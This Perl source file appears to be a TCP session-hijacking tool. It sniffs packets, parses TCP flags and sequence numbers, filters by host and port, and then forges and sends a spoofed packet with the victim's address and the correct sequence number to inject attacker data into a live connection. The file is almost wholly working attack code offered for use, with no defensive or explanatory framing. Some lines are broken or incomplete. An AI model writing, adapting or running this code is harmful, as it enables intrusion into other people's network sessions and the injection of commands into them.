# -sam k (commport5@lucidx.com)

use POSIX qw(strftime);
use pdump::Sniff;

sub check_jack {
 my ($allo, $call, $nite, $headers, $df, $fphd, @ints) = ($offset_all, $_[2], 0);
 $time = timem();
 $untm = time();
 $time =~ s/^.*?\.(.*?)$/$1/;
 $packet_all->bset($call, $allo);
 $proto = $packet_all->proto;
 my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
 $packet_all->get({ip=>['version','ihl','tos','tot_len','id','frag_off','ttl','protocol','check','saddr','daddr'],tcp=>[
 'source','dest','seq','ack_seq','doff','res1','res2','urg','ack','psh','rst','syn','fin','window','check','data']});
 if ($urg) {
  $headers .= "U";
  $fphd .= "U";
 }
 if ($ack) {
  $fphd .= "A";
 }
 if ($psh) {
  $headers .= "P";
  $fphd .= "P";
 }
 if ($rst) {
  $headers .= "R";
  $fphd .= "R";
 }
 if ($syn) {
  $headers .= "S";
  $fphd .= "S";
 }
 if ($fin) {
  $headers .= "F";
  $fphd .= "F";
 }
 unless ($headers) {
  $headers = ".";
 }
 $seq =~ s/^-//;
 if ($frg == 16384) {
  $df = " (DF)";
 }
 if ($dmth) {
  $flags = unpack("B8", substr($call, $allo+20+13, 1));
  substr($flags, 6, 1) == '1' || substr($flags, 7, 1) == '1';
  %pd = &getpckt($allo);
  if ($nons) {
   $sname = $pd{'saddr'};
   $dname = $pd{'daddr'};
   $stest = $sname;
   $dtest = $dname;
  }
  else {
   $sname = $pd{'shost'};
   $dname = $pd{'dhost'};
   $stest = $pd{'saddr'};
   $dtest = $pd{'daddr'};
  }
 }
 else {
  if ($nons) {
   $sname = &ip2dot($saddr);
   $dname = &ip2dot($daddr);
   $stest = $sname;
   $dtest = $dname;
  }
  else {
   $sname = &ip2name($saddr);
   $dname = &ip2name($daddr);
   $stest = &ip2dot($saddr);
   $dtest = &ip2dot($daddr);
  }
 }
 unless ($nosv) {
  @sserv = &port2serv($sport, $proto);
  @dserv = &port2serv($dport, $proto);
 }
 if ($sserv[0]) {
  $stype = $sserv[0];
 }
 else {
  $stype = $sport;
 }
 if ($dserv[0]) {
  $dtype = $dserv[0];
 }
 else {
  $dtype = $dport;
 }
 if ($pgnr) {
  unless ($pnrc) {
   if ($sport =~ /$prgx/ or $dport =~ /$prgx/ or $stype =~ /$prgx/ or $dtype =~ /$prgx/) {
    $nite++;
   }
  }
  else {
   if ($sport =~ /$prgx/i or $dport =~ /$prgx/i or $stype =~ /$prgx/i or $dtype =~ /$prgx/i) {
    $nite++;
   }
  }
 }
 if ($ignr) {
  unless ($gnrc) {
   if ($sname =~ /$regx/ or $dname =~ /$regx/ or $stest =~ /$regx/ or $dtest =~ /$regx/) {
    $nite++;
   }
  }
  else {
   if ($sname =~ /$regx/i or $dname =~ /$regx/i or $stest =~ /$regx/i or $dtest =~ /$regx/i) {
    $nite++;
   }
  }
 }
 if ($nofl and !$fl) {
  $dname =~ s/^([^\.]+)\..*?$/$1/;
  $sname =~ s/^([^\.]+)\..*?$/$1/;
 }
 unless ($nite) {
  $top++;
  if ($headers eq "P" and !$send{'num'} and $stest ne $ip) {
   $send{'seq'} = $aseq;
   $send{'dest'} = $stest;
   $send{'source'} = $dtest;
   $send{'sport'} = $dport;
   $send{'dport'} = $sport;
   $send{'num'} = 1;
   print "Information recieved...\n";
  }
  elsif ($headers eq "." and $send{'num'} == 1 and $send{'dest'} eq $dtest and $send{'dport'} == $dport and $dtest ne $ip) {
   $a = new pdump::Sniff;
   $a->set({
    ip  => { frag_off => 16384,
             ttl => $ttl,
             saddr => $send{'source'},
             daddr => $send{'dest'} },
    tcp => { dest => $send{'dport'},
             source => $send{'sport'},
             seq => $send{'seq'},
             ack_seq => $aseq,
             ack => 1,
             psh => 1,
             window => $win,
             data => "$send{'data'}\n" }
   });
   $a->send;
   print "Packet injected!\n$send{'source'}:$send{'sport'} > $send{'dest'}:$send{'dport'} - $send{'data'}\n";
   &die;
  }
  if ($amt and $top == $amt) {
   die "\r$amt packets recieved by filter\n";
  }
 }
}

1;
